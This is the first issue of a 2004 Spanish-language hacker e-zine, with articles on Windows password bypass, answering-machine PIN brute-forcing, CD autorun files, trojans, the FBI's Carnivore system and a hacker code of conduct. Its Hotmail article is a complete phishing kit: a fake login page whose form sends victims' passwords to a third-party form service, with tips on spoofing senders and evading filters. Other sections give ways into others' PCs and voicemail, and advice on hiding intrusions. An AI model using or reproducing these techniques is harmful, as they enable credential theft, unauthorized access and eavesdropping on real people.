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SudHack Issue 1

eZine's profile picture
Published in 
SudHack
 · 14 Jun 2022

1/1/2004 

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Tu comunidad Habla Hispana de Hackers


NOTA: SudHack, NI NINGUNO DE SUS REPRESENTANTES, PARTICIPANTES NI ESCRITORES, SE HACEN RESPONSABLES DEL MAL USO QUE SE LE PUEDA DAR A LA INFORMACION PUBLICADA EN ESTE E-ZINE TODOS LOS DOCUMENTOS SON DE INFORMACION Y NO PARA OCASIONAR DA—OS.


Web oficial: http://www.SudHack.cjb.net

Web de la revista: http://www.SudHack-zine.cjb.net

Mail oficial de colaboradores:
sudhack@sudhack.zzn.com
el-guru >>el-guru@sudhack.zzn.com
rocko >>rocko@sudhack.zzn.com
AliretH_K >>alk@sudhack.zzn.com
Keogh >>keogh@novahack.com

Mail de la revista: e-zine@sudhack.zzn.com
Foro oficial: http://sudhack.foro.st


NOTA 2: Como esta comunidad se encuentra representada por personas de distintas partes del mundo me he tomado el atrevimiento de modificar algunos de los textos, para que puedan ser entendidos por personas de cualquier parte del mundo. Lo modificado serán algunos términos y no la idea del texto, o la idea en si.

Esta e-zine cuenta con millones de faltas de ortografía :D que se van a ir reduciendo a medida que la e-zine toma mas profesionalidad XD.

INDICE

  1. EDITORIAL (BY SudHack)
  2. RECOMENDADOS (BY SudHack)
  3. ORGANIZACION DE SudHack (BY SudHack)
  4. TRUCOS HACK (BY AliretH_K)
  5. PINCHANDO M¡QUINAS CONTESTADORAS (BY DonGat¯)
  6. CREAR UN CD CON AUTORUN COMO PROFECIONAL (BY el-guru)
  7. XPLOIT PARA HOTMAIL (BY AliretH_K)
  8. TROYANOS A FONDO (BY el-guru)
  9. CARNIVORE (BY el-guru)
  10. INTRO AL HACK (BY Keogh)
  11. ESCUCHAS CON MOTOROLA (BY DonGat¯)
  12. NETBIOS (BY BattleKat)
  13. BIOGRAFIA (BY _^SIAKO^_)
  14. AGRADECIMIENTOS (BY SudHack)
  15. DESPEDIDA (BY SudHack)

EDITORIAL

SudHack

Holaaaaa hackers del mundooooo!!!!, quiero darles la bienvenida al primer número de SudHack-Zine, también quiero dar las gracias a todos los "hackers" que han colaborado para que esta e-zine pueda llevarse a cabo.

Espero que todos los lectores de esta e-zine, tengan ganas de colaborar con ella, y manden sus textos a e-zine@sudhack.zzn.com que nosotros los leeremos y los editaremos en esta e-zine.

En este año la comunidad, ha cambiado mucho, hay normas que hay que cumplir, para que la comunidad sea mejor, por supuesto que esta abierta la comunidad para cualquiera que quiera participar en ella.

Trataremos temas relacionados con lo underground, Internet y/o computación, eso no quita que el día de mañana, si existe alguna noticia con suficiente índole como para publicarla, no vallamos a hacerlo.

También quiero aclarar que en esta parte de "Editorial" aclararemos algunos puntos, algunas dudas, pero no grandes. Por Ej: Han preguntado ¿Para que le ponen pass al foro, si total ustedes la andan diciendo por todos lados? - Bueno, verdaderamente, nosotros le ponemos pass al foro, para que no entre cualquier "XXXXXXX" y publique cualquier cosa, si bien cualquiera puede adquirir la pass del foro, digamos que hay que estar un poquito en el tema.

No se sabe que secciones quedan y cuales no, no se sabe que va a pasar con todo eso, tengan en cuenta que es el primer número, tal vez para la próxima, cambiamos algo, o tal vez simplemente no estemos :P

Trataremos de no pasar temas viejos, aunque si hay un tema que se pida, lo editaremos, también recuerda que si existe un tema viejo, pero ha sido historia, del tipo bug del Netbios, no podemos dejar de pasarlo. (o como el phf)

Bueno .... no se que mas .... la e-zine será bimestral o sea, saldrá cada dos meses, o sea que cada dos meses entras a la parte de e-zine y allí te la bajas.

Trataremos de que no se produzcan alteraciones de edición, o sea que no se editen mas tarde de lo que tendría que ser, pero no queremos bajar la calidad de la revista, así que si tarda unos días mas, por favor sepan disculparnos.

Bueno, creo que por el momento, no hay mas nada para decir, asi que basta de bla... bla... bla... y empecemos con el PRIMER NUMERO DE SudHack-Zine.


RECOMENDADOS

SudHack

<http://SUDHACK.CJB.NET <-> :p
<http://www.amd-hack.com.ar>
<http://www.novahack.com>
<http://www.hispabyte.com>
<http://www.reparomipc.com> (Me ayudó en mis inicios con mi otra web)
<http://www.hackersdelocos.com.ar>

Los provistos con anterioridad son algunos de los mejores sitios underground que se encuentran en la red.
Y los que mejor que caen, los que me caen mal, mejor no ponerlos... jajaj


ORGANIZACION DE SudHack

SudHack

Bueno, quiero que sepan que esta comunidad no es como cualquier otra ;) digamos que vendría a ser una comunidad con mas libertad que otras, además tiene una organización diferente de como manejarse.

Esta lo que llamamos la "index" que es la web, en donde se encuentra las banderas para ingresar a los distintos países, entonces, nosotros, vamos consiguiendo webmasters para los demás países, cada uno de ellos debe realizar una web, representando a su país y luego nosotros nos encargamos de que la bandera de su país se encuentre en la index, pero obviamente, nos tienes que avisar que quieres participar con nosotros, antes de empezar a trabajar, nosotros te haremos algunas preguntas y te daremos alguna pautas. ;)

Si tu país ya tiene representante, puede colaborar con el, luego ustedes ven como se organizan, alguno hace una parte, el otro otra, o organícense como quieran.

Al contactarte con nosotros, y en el momento en que tu decides que quieres colaborar con nosotros, nosotros te mandamos una seria de "normas" que debes de seguir para poder participar mas a fondo en SudHack (mas a fondo me refiero en las web's, no en el foro o en la zine) Luego, mientras mas te "metas" en la comunidad, vas a recibir un pequeño "programita" de SudHack (no lo tiene nadie mas que SudHack) que es para encriptar mensajes, muy util.

Pero, no lo vas a recibir en seguida, ten en cuenta, que si te quedas con el programa, tu puedes desencriptar todos nuestras conversaciones.


TRUCOS HACK

AliretH_K

En esta sección mostrare algunos trucos que todo hacker tiene que saber, no importa que tan viejos sean, pero los tienes que saber si o si, por ej. ahora vamos a ver como saltear la pass de win, pero tal vez la próxima veamos el bug del phf, o sea no importa que tan viejo sea, lo importante es que lo tienes que saber.

A pesar de que me encante escribir documentos no creo que tengan muchos escritos por mi, ya que tengo que hacer otro tipo de cosas relacionadas con SudHack y tambien tengo que estudiar por que casi repito de año :p y mi vieja me cago a pedos, pero tratare de hacer lo que pueda.
Tampoco sabemos cuanto va a durar esta sección ;) jejej

Lo que vamos a ver ahora es realmente fácil, pero cuando le dices a un amigo que te puedes saltar la pass de win, se queda boquiabierto :)

La pass de win se guarda con la extensión .pwl, y generalmente se encuentra en c:/windows Pero si la eliminas win, no encuentra el pass al entrar, entonces tienes que crear una ;) Bueno, este no es el tema, vamos a ver como entrar, luego adentro de win, tu ya sabes lo demás.

....

..::PASSWORD DE WINDOWS::..

Encendemos la PC, esta arrancando todo...

Antes de que salga la ventana para colocar la pass, o sea, cuado se esta ejecutando todo.
Pulsa F8, entraras a un menú de win elige "modo a prueba de fallos"
Y estarás dentro de win, sin haber colocado ninguna pass,

¿¿¿¡¡¡Qué pasa acá!!!???

Tu has entrado a windows, pero no has dejado que se ejecutaran los drivers de la pc, entonces estarás dentro, pero tendrás algunas restricciones, no podrás ejecutar programas, ni demás cosas eso no importa, desde allí tienes suficientes cosas como para poder hacer lo que quieras dentro de la pc, desde allí, puedes cambiarle la pass a la computadora.

Luego de ahí, ya puedes hacer distintas cosas, puedes borrar los .pwl y al reiniciar pondrás la pass que tu quieras o cambiarla directamente cuando ya estas dentro, lo importante es que ya conseguiste entrar en el sistema y tienes las suficientes armas para no dejar que nadie mas lo haga. ;)


PINCHANDO M¡QUINAS CONTESTADORAS

DonGat¯

Pinchando maquinas contestadoras

Buenas, para variar un poquito de phreak : )
En esta nota intentare mostrarles como se hace para pinchar una contestadora telefónica comun y corriente como la que tiene cualquiera, todas las contestadoras telefónicas tienen una función que viene de fabrica pero que nadie sabe porque nadie lee un manual de nada, esta función permite a cualquier persona que sepa el código escuchar las llamadas grabadas, borrarlas y demás cosas interesantes, lo único que hay que hace es esperar que la contestadora este hablando, antes de que escuche el pitido (o como mierda le quieras decir) debes poner # o *, depende del aparato que sea y un numero, como es obvio a medida que las contestadoras fueron evolucionando los numero fueron cada vez mas grandes, pero prueba con # y numero de 2 dígitos, que por lo general de fabrica son fáciles como 00 11 22 y así, si le pegas (que no es tan difícil, yo he encontrado algunas) podrás escuchar los mensajes, borrarlos, y hasta escuchar con el altavoz que tiene la maquina lo que pasa dentro de la casa, es bastante entretenido :)

Aparte de esto, investigando encontré una nota anónima que da una lista, que reproducirse textualmente por los derechos de autor ¿?

"Los contestadores con una clave de dos cifras te dan seis pulsaciones de teclas antes de bloquearse y colgarte. Aquí es donde radica la utilidad de la tabla....

Al meter los seis números, por ejemplo: 123456, el contestador identifica los siguientes pares de números: 12, 34, 56, que son los evidentes, pero también estos: 23, 45.

Así es como funciona la tabla. Con 20 llamadas y 6 números cada vez, has barrido los 100 posibles números. Necesitarías 34 llamadas, pero ahora solo necesitas 20 en el peor de los casos.

En la práctica, hemos podido encontrar claves en 7 llamadas.
No, si me parece de pm, pero donde esta la tabla??
Pues esta es....

900102 
353637
738394
445464
474849
955657
758596
667686
697787
050607
293343
617181
203040
627282
242526
192232
141516
112131
798899
708091


Cada grupo de 6 cifras son los 6 números que debes marcar cada vez que llamas al contestador y le das al * Así, los 20 grupos simbolizan las 20 llamadas que debes hacer, como mucho, para encontrar la clave.

Bueno, tampoco lo he dicho antes, pero todo esto lo debes hacer desde un teléfono de tonos. En caso de que no encuentres la clave tras marcar los veinte números, pues es que la clave es de 3 o mas cifras, así que solo puedes hacer dos cosas, o pruebas los números de 3 cifras que se te ocurran, o pruebas todos, o te vas a por otro contestador, porque hay mas de los que te pudieras pensar.... "

Saludos y hasta la próxima


CREAR UN CD CON AUTORUN COMO PROFECIONAL

el-guru

Pues bien estos archivos de Autorun es para la función de AutoPlay, si quieres saber mas... sigue abajo...

Primero tienes que crear un archivo llamado Autorun.inf que habrá que insertar en el directorio raíz del CD.

En este archivo se creara una sección, al estilo de los archivos INIs, llamada [autorun], bajo esta sección se incluirá el icono a mostrar y el ejecutable a usar; para el ejecutable se usa OPEN= y para el icono se usa ICON= (algo parecido a la programación del mIRC) aquí tienes un ejemplo:

[autorun] 
OPEN=programa_de_inicio.exe
ICON=guru.ICO


Si en lugar de un ejecutable quieres usar una pagina HTML tendrás que usar el Explorador de Windows para que lo abra, ya que no sirve insertar el nombre de la pagina sin mas, por ejemplo:

[autorun] 
OPEN=C:\WINDOWS\explorer.exe website.html ó puede ser .htm
ICON=guru.ICO


Por supuesto tanto el icono como el ejecutable o pagina a usar pueden estar en un directorio del CD, si lo haces así, tendrás que incluir el path en el fichero autorun.inf.


XPLOIT PARA HOTMAIL

AliretH_K

Llamaremos xploit, ha hacer creer a una persona, que un mensaje, correo, web, o lo que sea, es de un destinatario específico, haciendole ingresar datos importantes, que luego seran enviados (sin que la víctima sepa) a nuestro correo.

En este texto veremos como realizar un xploit para hackear una cuenta de hotmail.

Entonces:

  • Crearemos un codigo html, para hacer creer que somos de hotmail
  • Falsificaremos una cuenta de hotmail
  • Enviaremos en mail
  • Luego nos quedamos con la password


------------CODIGO---------------- 

<html>
<head>
<meta name="xploit para Hotmail o Msn" content="xploit">
<title>Hotmail.com - Confirmacion De Usuarios</title>


<link
href="http://64.4.18.24/Hotmai_archivos/hotmail___7.css" rel=stylesheet>
</head>
<body bgcolor="#FFFFFF" topMargin="0">

<center><table BORDER=0 CELLSPACING=2 CELLPADDING=0 WIDTH="590" >
<tr>
<td COLSPAN="2">
<table BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="100%" >
<tr>
<td><a href="http://lc2.law13.hotmail.passport.com/cgi-bin/login?_lang=ES" target="_top">
<font face="Verdana" size="2"><img SRC="http://64.4.18.24/logo_msnhmr_468x60.gif" NOSAVE BORDER=0 height=60
width=468></font></a></td>

<td ALIGN=CENTER NOWRAP><font face="Verdana" size="2"><img SRC="http://64.4.18.24/logo_passport_140x44.gif"
ALT="Descubra más acerca de Passport" NOSAVE BORDER=0 height=44 width=140>
<br><a href="http://nexusrdr.passport.com/redir.asp?_lang=ES&pm=id%3d2%26fs%3d1%26cb%3d_lang%253dES%26ct%3
d1018127971&attrib=Help" target="_top">Ayuda</a></font></td>
</tr>
</table>
</td>
</tr>

<tr>
<td BGCOLOR="#93BEE2" style="PADDING-RIGHT: 3px; PADDING-LEFT: 3px; PADDING-BOTTOM: 3px; PADDING-TOP: 3px">
<b><font face="Verdana" size="2">Confirmación
de Usuarios</font></b></td>

<td VALIGN=TOP></td>
</tr>

<tr>
<td HEIGHT="6"></td>
</tr>

<tr VALIGN=TOP>
<td><form method="post" action="<input">http://www.melodysoft.com/cgi-bin/form.cgi"><input type="hidden"
name="recipient" value="TUMAILACA"><input type="hidden" name="redirect"
value="http://lc3.law13.hotmail.passport.com/cgi-bin/dasp/hminfo_shell.asp?_lang=
ES&content=whysign&us=ws&id=2&fs=1&cb=_lang%3dES&ct=1015737453">

<table BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="100%" >
<tr>
<td><font face="Verdana" size="2"><b>Usuario</b></font></td>

<td><font face="Verdana" size="2"><input type="usuario" name="Usuario" size="20">@<select
size="1"
name="Server">
<option value="Hotmail.com">Hotmail.com</option>
<option value="Msn.com">Msn.com</option>
</select></font></td>
</tr>

<tr>
<td><font face="Verdana" size="2"><b>Nombre</b></font></td>

<td><font face="Verdana" size="2"><input name="Nombre" size="30"></font></td>
</tr>
<tr>
<td><font face="Verdana" size="2"><b>Apellidos</b></font></td>

<td><font face="Verdana" size="2"><input name="Apellido" size="30"></font></td>
</tr>
<tr>
<td><font face="Verdana" size="2"><b>Contraseña</b></font></td>

<td><font face="Verdana" size="2"><input type="password" name="cur_passwd" size="30"></font>
</td>
</tr>


<tr>
<td></td>

<td>
<font face="Verdana" size="2">
<br><input type="submit" value="Aceptar"><input type="reset" value="Cancelar"></form></font>
</td>
</tr>
</table>
</td>

<td ROWSPAN="4"></td>
</tr>

<tr>
<td>Devido a la gran demanda de usuarios que poseé la empresa de correo
electrónico <b>HotMail</b> nos hemos visto a la necesidad de
recorrer a nuestros usuarios para verificar si son usuarios activos.<br>
<br>
Como la empresa de correos, sabe que usted nuestro usuario Trabaja, Estudia,
Viaja.&nbsp;<br>
No le es posible checar este correo continuamente. por ello <b>Hotmail
</b>les da de tolerancia dos semanas despues de haber sido enviado este mail.
Si no su cuenta la tendremos que tener como usuario no activo y tendriamos que
darle da baja a su cuanta de correo automaticamente<br>
<br>
<b>Hotmail </b>esta muy agradecido con usted por ser un usuario mas de
nuestra empresa.<br>
</td>
</tr>
</table><table BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="623" >
<tr>
<td width="621"> <font face="Verdana" size="2"> <br>
© 2003 Microsoft Corporation.Reservados todos los derechos.
<br><a href="http://g.msn.com/1HM506701/D" target="_top">CONDICIONES DE
USO</a> <a href="http://g.msn.com/1HM506701/C" target="_top">Declaración
de privacidad</a></font></td>
</tr>
</table></center>

</body>
</html>

----------FIN DEL CODIGO-----------


Es algo obvio que donde dice TUMAILACA debes colocar tu correo electrónico, asi la pass llega a el.

Ya teniendo el código, debemos enviar el mail, podemos realizarlo de diferentes maneras, podemos mandarlo por telnet, pero no lo recomiendo, yo recomiendo mandar el codigo por UBI-ANONYMUS que es un programapara mandar correos anónimos, que realmente es excelente. A la persona que le mandamos el mail, le hacemos creer que viene de algo como:

pass@hot....... 
retrypass@hot.....
password@hot.....


Asi piensa que es directamente de hotmail.

Y si todo sale bien, la victima llenara todo los espacios y vos te quedaras con la pass.

NOTAS Y TRUCOS:

  • Este codigo html es algo simple, pero para mostrar el ejemplo, lo podemos modificar totalmente asi logramos algo mas realista y mas facil de que la persona caiga.
  • Muchos dicen que hotmail ya no hacepta codigo html, y.... es verdad, pero pensando de que había otra forma de insertar el codigo, yo mismo descubri una (en verdad no creo que halla sido yo ya que es algo muy facil, pero busque y busque y nadie me sabia decir como hacerlo)

Cuando ponemos redactar y se carga la pagina, pulsamos detener, antes de que se cargue la barra de herramientas del textarea, y copiamos el codigo html, esto lo que hace es no dejar que se cargue el codigo que prohibe el html, entonces cuando enviamos el mail, el html, lo lee sin problemas.

Esto sirve para engañar a un amigo, ya que no fasificaras una cuenta, si no que la enviaras de tu cuenta.

  • No confundir exploit (que es un programa) con xploit (que es lo que vimos)
  • Las cadenas del codigo estan cortadas asi pueden entrar en el .txt, pero vos te daras cuenta de como unirlas.
  • Hay muchas ideas para realizar el codigo, aparte de una confirmación de usuarios, podes invertar, que hotmail, perdio las contraseñas, o que hotmail te envia una posta y deves colocar tu pass, pero tienes miles de ideas para hacerlo.

NOTA FINAL: Pido perdon, por que estos script, estan echos con los cgi de melodysoft, y esta empresa ya los dió de baja, por este mismo problema.

Pero no hay problema, create una cuenta en cualquier servicio que te de formularios, y luego agregale el código en lugar de los cgi.


TROYANOS A FONDO

el-guru

Para aquellos que están entrando al mundo "Under" aquí les mostramos lo que es un caballo de Troya ó mejor llamado TROYANO.

Que es un caballo de Troya?

Los caballos de Troya, troyanos, se llaman así porque actúan del mismo modo en tu ordenador. Un caballo de Troya es un programa aparentemente útil, novedoso, o atractivo que contiene funciones ocultas que permiten, por ejemplo, obtener privilegios de usuario (siempre que el programa se ejecute), suponiendo un enorme problema de seguridad. Generalmente un caballo de Troya no tiene efecto sin la colaboración involuntaria del usuario a quien va dirigido.

Como se hace eso?

  • Porque un caballo de Troya se ha debido de obtener, por fuerza, de un origen dudoso o desconocido (aunque excepcionalmente se han dado casos de inserción de Troyanos en lugares de distribución de reconocido prestigio).
  • El programa ha conseguido almacenarse en el sistema con la colaboración del usuario, con lo cual puede ejecutarse en cualquier momento, incluso mucho tiempo después de su entrada.

Los caballos de Troya son normalmente instalados por los propios usuarios inadvertidamente o bien por intrusos que han obtenido acceso sin permiso al sistema a trabes de otros medios.

Como se mete en mi PC?

Los atacantes utilizan métodos de distribución como los siguientes:

  • Envío masivo de e-mails con un troyano adjunto. Recientemente se ha dado el caso de un e-mail, presuntamente enviado por Microsoft a sus usuarios, que invita a actualizar el navegador Microsoft Internet Explorer. Sin embargo Microsoft ha confirmado que no proporciona parches o actualizaciones a trabes de correo electrónico, aunque si distribuye de esta forma boletines periódicos de seguridad.

Este mensaje contiene un programa ejecutable adjunto llamado Ie0199.exe. Tras su instalación, el programa origina bastantes modificaciones en el sistema e intenta contactar con otros sistemas remotos. Existen múltiples versiones de este caballo de Troya, por lo que las modificaciones no cumplen una norma generalizada.

Una de estas versiones se acompaña del mensaje siguiente:

As an user of the Microsoft Internet Explorer, Microsoft Corporation provides you with this upgrade for your web browser. It will fix some bugs found in your Internet Explorer. To install the upgrade, please save the attached file (ie0199.exe) in some folder and run it.

Por supuesto, no es un mensaje de Microsoft.

  • Envío durante sesiones IRC. Se convence a un usuario no experimentado para que reciba un programa muy interesante. Dependiendo de los gustos del usuario, se renombra el troyano para que su ejecución sea segura.
  • Distribución a trabes de Web, Newsgroups, FTP, etc... con las mismas técnicas de "venta", es decir, programa novedoso, interesante, de gran utilidad...
  • Inserción del Troyano en programas de gran demanda, modificando su instalación pero manteniendo intacto el programa original, sin que el usuario aprecie ningún cambio o indicios sospechosos en su funcionamiento.
  • Modificación de programas en lugares de distribución de reconocido prestigio, lo cual supone una entrada no autorizada en dichos sistemas e implica un alto grado de infección incluso en maquinas de usuarios experimentados y precavidos.
  • Infección a trabes de applets Java, Javascript, Active X...
  • Cualquier otra técnica de ingeniería social, incluso envío de Cds o de cualquier otro soporte de almacenamiento por correo tradicional, simulando regalos, anuncios, promociones, etc.

Así que mejor ten cuidado con lo que utilizas ... siempre tienes que estar convencido de que el Software que bajas de Internet esta limpio


CARNIVORE

el-guru

Este artículo que escribiré es del CARNIVORE para que sepan un poquito mas de seguridad y que sepan con que nos VIGILAN LOS OJETES ESTOS...

Probablemente muchos de ustedes ya han oído hablar de Carnivore.
Este es un programa hecho por el FBI para dar a esta agencia el acceso de monitorear a gente sospechosa por internet, es decir rastrear personas que andan hackeando páginas.

Pero antes vamos al los padres y antepasados del Carnivore:

  • Omnivore fue desechado en 1999 y fue reemplazado por DragonWare Suite donde este contiene tres partes:
  • Carnivore- un programa para windows NT/2000 que caputra informacion.
  • Packeteer- la información de este programa no ha sido revelada por el FBI pero supuestamente es una aplicación que compara paquetes con mensajes o paginas web
  • Coolminer- la información de este programa no ha sido revelada por el FBI pero se cree que es una aplicación para analizar datos que se encuentran en los mensajes.

DragonWare Suite no es una tecnología nueva como muchos lo piensan. Carnivore es un sistema muy controversial y aquí explicaremos el proceso que el FBI sigue para utilizar este sistema.

Primero el FBI tiene que tener una sospecha de que alguien este involucrado en fraude electrónico. Después tienen que conseguir un permiso de la corte de EU para que tengan derecho de monitorear toda la información que sea necesaria del sospechoso. Luego contactan al ISP y les piden una copia de los archivos del sospechoso (si es que el isp los tiene).

El FBI luego se mete al ISP e instala Carnivore en una computadora aparte. La computadora tiene las siguientes características:

  • Pentium III, 128Mb RAM, Windows NT/2000
  • Una applicación comercial de comunicaciones
  • Una aplicación creada en c++ que trabaja en conjunto con lo mencionado arriba para lo que es el sniffing y el filtering
  • Una llave fisica para accesar la computadora que contiene carnivore en el ISP.
  • Un sistema para aislar la computadora de la red y que se vea invisible, de esta forma no puede ser accesada remotamente o comprometida.
  • Un Jaz drive en el que se puede meter 2gb en una sola unidad, esto es para guardar los paquetes caputrados del sospechoso.

Despues el FBI configura Carnivore con la direccion ip de el sospechoso para que nadamas capture paquetes de el sospechoso e ignore los demas. Luego Carnivore copia todos los archivos del sospechoso sin impedir el trafico de la red. Despues el programa usa un filtro para clasificar los paquetes recibidos. De esta manera por el protocolo el programa pone en orden los paquetes de email, los de la web etc ... Despues estos paquetes son guardados al cartucho jaz. Luego cada dia o dos un agente del FBI saca el cartucho lo cambia por uno nuevo, agarra el cartucho usado le pone la fecha y lo sella en una caja. Si el sello se abre la persona que lo abrio debe de ponerle fecha otra vez y firmarlo de lo contrario el cartucho ya no se considera evidencia imporante. El FBI debe de irse en un mes a menos de que la corte apruebe mas tiempo. El FBI desarma el sistema y se va del ISP, despues usan Coolminer para checar lo que tienen los cartuchos. Despues el FBI tiene permiso de utilizar lo encontrado en la corte.

El FBI utiliza Carnivore para differentes casos por ejemplo, terrorismo, espionaje, fraude, informacion de guerra, o pornografia infantil. Este sistema es controversial ya que muchos piensan incluyendome que esto es una violacion de la privacia. Si Carnivore se usa sin permiso de la corte entonces esto es ilegal y la idea de que alguien pueda revisar lo que haces sin que lo sepas es horrible. Hay rumores que dicen que Carnivore es un sistema que regula toda la internet y ve todo lo que todos hacen pero para hacer eso el FBI tendria que meter sus sistemas en todos los servidores incluyendo privados comerciales y educacionales y digamos que esto lo logran hacer, es imposible que lo hagan en todo el mundo ya que si se meten a otro pais ya se meterian en problemas. Tambien hay rumores de que el sistema busca palabras como "bomba" o "asesinato" esto es negado por el FBI ya que viola los derechos establecidos en la constitucion de EU. Este sistema mencionado se dice llamar Echelon y supuestamente se rumora que fue creado por la NSA (Nacional Security Agency) no hay evidencia solida de que esto exista. Mucho confunden Echelon con Carnivore pero son dos cosas diferentes.

Muchos se han preguntado esto. Que impide al FBI ver mas cosas de las que deben ver? Por lo general el FBI nadamas es otorgado monitorear el puerto 25 que es de email y a veces otros puertos por si el sospechoso usa hotmail. En pocas ocaciones se le otorga al FBI derecho de ver mas cosas como las paginas que navegas o algun otro puerto que utilizas. Otra cosa muy importante es el hecho de que ya instalado el sistema Carnivore en el ISP el FBI puede ver toda la subred. Que impide a los agentes ver algo que no deben. Si pueden ver toda la subred de la isp entonces pueden ver a todos.

Hay varias formas de solucionar el problema para que el FBI no pueda utilizar Carnivore Primero que nada yo recomiendo fuertemente que encripten todo lo que mandan por email y de esta forma previenes que puedan ver los datos.

CONSEJO PA JAIKERS: (siempre me da risa esa palabra ... Jaikers que me recuerda un taquero) Esta forma puede que funcione pero es tambien probable que puedan ver tu private key y no te sirva de nada asi que tambien ten conecciones SSH a sistemas remotos que corran sendmail o utiliza conexiones encriptadas dedicadas de dial-up y otras soluciones VPN tambien pueden funcionar.

El FBI se ha negado en dar el codigo fuente de Carnivore y dicen que no violan ningun acuerdo con la consitucion.

Así que cuidadito con andar HACKEANDO webs caones!!!

SALU2 el-guru


INTRO AL HACK

Keogh

Bueno pues esto es una recopilacion de textos por la red, y cosas que yo mismo describo, espero y les guste.

1. Introducción
Bueno, la definición típica del hacker es: "un aficionado a los ordenadores o computadoras, un usuario totalmente cautivado por la programación y la tecnología informática. En la década de 1980, con la llegada de las computadoras personales, y posteriormente con la posibilidad de conexión a los grandes sistemas de ordenadores a través de Internet, este término adquirió una connotación peyorativa y comenzó a usarse para denominar a quien se conecta a una red para invadir en secreto computadoras, y consultar o alterar los programas o los datos almacenados en las mismas. También se utiliza para referirse a alguien que, además de programar, disfruta desensamblando sistemas operativos y programas para entender su lógica de funcionamiento". Una buena definición acerca de lo que es un hacker, y además dice algo esencial, a un hacker se le denomina delicuente pero... veamos más.

El hacking es ampliamente considerado ilegal. El movimiento hacker es estigmado, desacreditado y perseguido por los medios de comunicación y la cultura corporativa como juvenil, trastornador, y criminal. Y todo el tiempo es generalmente mal interpretado.

"Los hackers son definidos como entusiastas de la informática que tienen un interés ardiente en aprender acerca de los sistemas y como usarlos de formas inovadoras". Esta definición, por tanto, no incluye a los hackers malignos que deliberadamente rompen sistemas y borran ficheros, sino a esos hackers que exploran sistemas simplemente por el reto intelectual y que no dejan indicios de sus andaduras. Además, hay generalmente hay malos usos del término ya que en el underground informático no sólo está formado por hackers, sino también otras clases de entusiastas informáticos, por ejemplo, crackers, phreakers, piratas de software, etc. (y el público en general piensa que todos son hackers).

Si, hay "hackers" que destruyen ficheros y rompen sistemas, pero ciertamente no conforman la abrumadora mayoría de hackers, además no deben de ser llamados hackers, sino crackers. Muchos hackers, como su intención primaria, pasan completamente desapercibidos en los sistemas que eligen hackear y no son nunca descubiertos. El no dejar rastros o huellas es lo más importante de los hackers.

"Estamos sedientos de conocimientos e información, y ¿puedes entonces realmente pensar que vamos a destruir eso que es sagrado para nosotros? ¿Para quitarle la oportunidad a otro de tener éxito al entrar como nosotros lo hicimos? ¿para hechar más leña al fuego de una ya terrible reputación y aumentar las posibilidades de ser pillados y así efectivamente arruinar nuestras vidas y carreras?" [Toxic Shock: 1990]

El enemigo de los hackers son aquellos que tratan de oprimirles todo lo que pueden, el Estado y las grandes corporaciones. El hacking, como una forma de protesta socio-politica, es por tanto difamado y denunciado en los medios por estas instituciones. El hacking es un fenómeno internacional, y sus miembros van más allá de las líneas etnicas, raciales, de sexo y vocacionales.

Los hackers han sido considerados siempre un grupo marginal en la sociedad. En los colegios, lo hackers son vistos como "novatos/lerdos" y "solitarios" sin habilidades sociales; en la gran sociedad, son perseguidos por aquellos que están en el poder.

"Soy un hacker. Si alguna vez le digo eso a alguien inmediatamente se asumira que soy maligno, vandálico, ladrón, un pseudo-terrorista que sale para tomar los ordenadores del mundo en beneficio personal o probablemente para cosechar alguna satisfacción morbosa borrando megas y megas de datos valiosos. Se me asocia con el underground informático. Si alguna vez les digo eso a alguien, habrí un flujo destellante de asociaciones estúpidas en la mende de esa persona entre yo y La Mafia, con Saddam HUssein, Syria, Libya, Abu, NIdal y quien sabe que más. Casi universalmente entre la mayoría ignorante, nosotros los hackers somos considerados como gamberros peligrosos cuyo único propósito en la vida es el de causar daño como nos sea posible en el menor tiempo posible al mayor número de gente. Seguro, hay esos pequeños crios (fisica y mentalmente) que se hacen llamar 'hackers' y que concuerdan con las descripciones de arriba. Hay también gente que se hace llamar 'seres humanos' que violan, asesinan, engañan, mienten y roban cada poco minutos. Significa eso que todos los seres humanos deberían de ir a la cárcel" (Toxic Shock, 1990).

Como conclusión, tenemos que los hackers son temidos y respetados. Los hackers no son malignos, son las personas que les encata el conocimiento, la electrónica, la informatica, trata de superarse día a día. POr esta razón su intrusión en sistemas ajenos, pero no los destruye, sólo observa. Para que querríamos destruir lo que es más valioso para nosotros... la informacion. Además un hacker se preocupa por no dejar huellas, las borrar. Un hacker no busca un lucro propio ni tampoco destrozar un sistema, sino demostrarse a sí mismo que es mejor que el administrador de ese sistema. Un hacker no nace, se hace, con el conocimiento que adquiere día con día. Sin dejarse vencer por los demás, sin sentirse un criminal ya que no lo es... "El conocimiento es poder"

2. Normas Básicas de un Hacker
A continuación muestro las normas que los hackers deben de seguir para no maltratar el nombre de hacker:

  1. Nunca dañes algo intencionadamente. Lo único que conseguirás será buscarte problemas. La función del hacker es conocer.
  2. Modifica solo lo estrictamente necesario para entrar y para evitar ser localizado, o para poder acceder otras veces.
  3. No hackees nunca por venganza ni por intereses personales o económicos.
  4. No hackees sistemas pobres que no puedan reponerse de un ataque fuerte. Ni tampoco sistemas muy ricos o grandes que puedan permitirse gastar dinero y tiempo en buscarte.
  5. Odia a Telefónica, pero no te metas con ella.
  6. No hackees ordenadores del gobierno. (El gran hermano te observa) Tal vez sea más emocionantes, pero no olvides que la policía trabaja para ellos.
  7. No comentes con nadie, a menos que sea de total confianza, tus hazañas. (Los más grandes hackers de la historia han sido cazados debido a las confesiones de sus novias).
  8. Cuando hables por Internet, procura ser lo más discreto posible. Todo lo que digas quedara almacenado.
  9. Se paranoico. Una da las características principales de los mejores hackers es la paranoia.
  10. En los ordenadores que hackees, no dejes ningún dato que pueda relacionarse contigo. Y si es posible, ni siquiera "firmes".
  11. Estudia mucho antes de lanzarte a la práctica. Piensa que eres un novato total, si te encuentras con problemas probablemente, tu aventura acabe antes de empezar.
  12. Nunca dejes de estudiar y de aprender nuevas cosas, el mundo de la informática avanza rápidamente, y es necesario mantener un buen ritmo si no quieres quedarte atrás.
  13. Procura que tus acciones se realicen en servidores lejanos, teniendo en cuenta que cuanto más cercanos más rapida será la conexión (bueno, eso dicen), ya que puedes estar durmiendo sobre un policía. Podrías iniciar tus actividades de reconocimiento, en servidores donde se esté cometiendo algo ilegal. ¿Cres que te denunciarán?, nosotros no lo creemos.

3. Técnicas de un Hacker
En esta parte o sección describiré las técnicas que utilizamos los hacker para hackear :).
